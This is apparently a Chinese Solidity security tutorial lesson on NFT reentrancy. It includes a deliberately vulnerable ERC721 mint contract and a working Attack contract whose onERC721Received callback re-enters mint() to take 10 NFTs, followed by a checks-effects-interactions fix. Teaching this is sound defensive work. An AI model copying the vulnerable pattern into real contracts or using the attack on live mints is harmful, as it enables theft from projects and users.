title: S16. NFT重入攻击 tags: solidity security fallback nft erc721 erc1155 WTF Solidity 合约安全: S16. NFT重入攻击 我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity 合约安全”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 推特:@0xAAScience|@WTFAcademy 社区:Discord|微信群|官网 wtf.academy 所有代码和教程开源在 github: github.com/AmazingAng/WTF-Solidity 这一讲,我们将介绍NFT合约的重入攻击漏洞,并攻击一个有漏洞的NFT合约,铸造10个NFT。
title: S16. NFT重入攻击 tags: - solidity - security - fallback - nft - erc721 - erc1155
我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity 合约安全”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。
所有代码和教程开源在 github: github.com/AmazingAng/WTF-Solidity
这一讲,我们将介绍NFT合约的重入攻击漏洞,并攻击一个有漏洞的NFT合约,铸造10个NFT。
我们在S01 重入攻击中讲过,重入攻击是智能合约中最常见的一种攻击,攻击者通过合约漏洞(例如fallback函数)循环调用合约,将合约中资产转走或铸造大量代币。转账NFT时并不会触发合约的fallback或receive函数,为什么会有重入风险呢?
这是因为NFT标准(ERC721/ERC1155)为了防止用户误把资产转入黑洞而加入了安全转账:如果转入地址为合约,则会调用该地址相应的检查函数,确保它已准备好接收NFT资产。例如 ERC721 的 safeTransferFrom() 函数会调用目标地址的 onERC721Received() 函数,而黑客可以把恶意代码嵌入其中进行攻击。
我们总结了 ERC721 和 ERC1155 有潜在重入风险的函数:

下面我们学习一个有重入漏洞的NFT合约例子。这是一个ERC721合约,每个地址可以免费铸造一个NFT,但是我们通过重入攻击可以一次铸造多个。
NFTReentrancy合约继承了ERC721合约,它主要有 2 个状态变量,totalSupply记录NFT的总供给,mintedAddress记录已铸造过的地址,防止一个用户多次铸造。它主要有 2 个函数:
ERC721 NFT的名称和代号。mint(): 铸造函数,每个用户可以免费铸造1个NFT。注意:这个函数有重入漏洞!contract NFTReentrancy is ERC721 { uint256 public totalSupply; mapping(address => bool) public mintedAddress; // 构造函数,初始化NFT合集的名称、代号 constructor() ERC721("Reentry NFT", "ReNFT"){} // 铸造函数,每个用户只能铸造1个NFT // 有重入漏洞 function mint() payable external { // 检查是否mint过 require(mintedAddress[msg.sender] == false); // 增加total supply totalSupply++; // mint _safeMint(msg.sender, totalSupply); // 记录mint过的地址 mintedAddress[msg.sender] = true; } }
NFTReentrancy合约的重入攻击点在mint()函数会调用ERC721合约中的_safeMint(),从而调用转入地址的_checkOnERC721Received()函数。如果转入地址的_checkOnERC721Received()包含恶意代码,就能进行攻击。
Attack合约继承了IERC721Receiver合约,它有 1 个状态变量nft记录了有漏洞的NFT合约地址。它有 3 个函数:
attack(): 攻击函数,调用NFT合约的mint()函数并发起攻击。onERC721Received(): 嵌入了恶意代码的ERC721回调函数,会重复调用mint()函数,并铸造10个NFT。contract Attack is IERC721Receiver{ NFTReentrancy public nft; // 有漏洞的nft合约地址 // 初始化NFT合约地址 constructor(NFTReentrancy _nftAddr) { nft = _nftAddr; } // 攻击函数,发起攻击 function attack() external { nft.mint(); } // ERC721的回调函数,会重复调用mint函数,铸造10个 function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) { if(nft.balanceOf(address(this)) < 10){ nft.mint(); } return this.onERC721Received.selector; } }
NFTReentrancy合约。Attack合约,参数填NFTReentrancy合约地址。Attack合约的attack()函数发起攻击。NFTReentrancy合约的balanceOf()函数查询Attack合约的持仓,可以看到持有10个NFT,攻击成功。
主要有两种办法来预防重入攻击漏洞: 检查-影响-交互模式(checks-effect-interaction)和重入锁。
mint()函数:function mint() payable external { // 检查是否mint过 require(mintedAddress[msg.sender] == false); // 增加total supply totalSupply++; // 记录mint过的地址 mintedAddress[msg.sender] = true; // mint _safeMint(msg.sender, totalSupply); }
这一讲,我们介绍了NFT的重入攻击漏洞,并攻击了一个有漏洞的NFT合约,铸造了10个NFT。目前主要有两种预防重入攻击的办法:检查-影响-交互模式(checks-effect-interaction)和重入锁。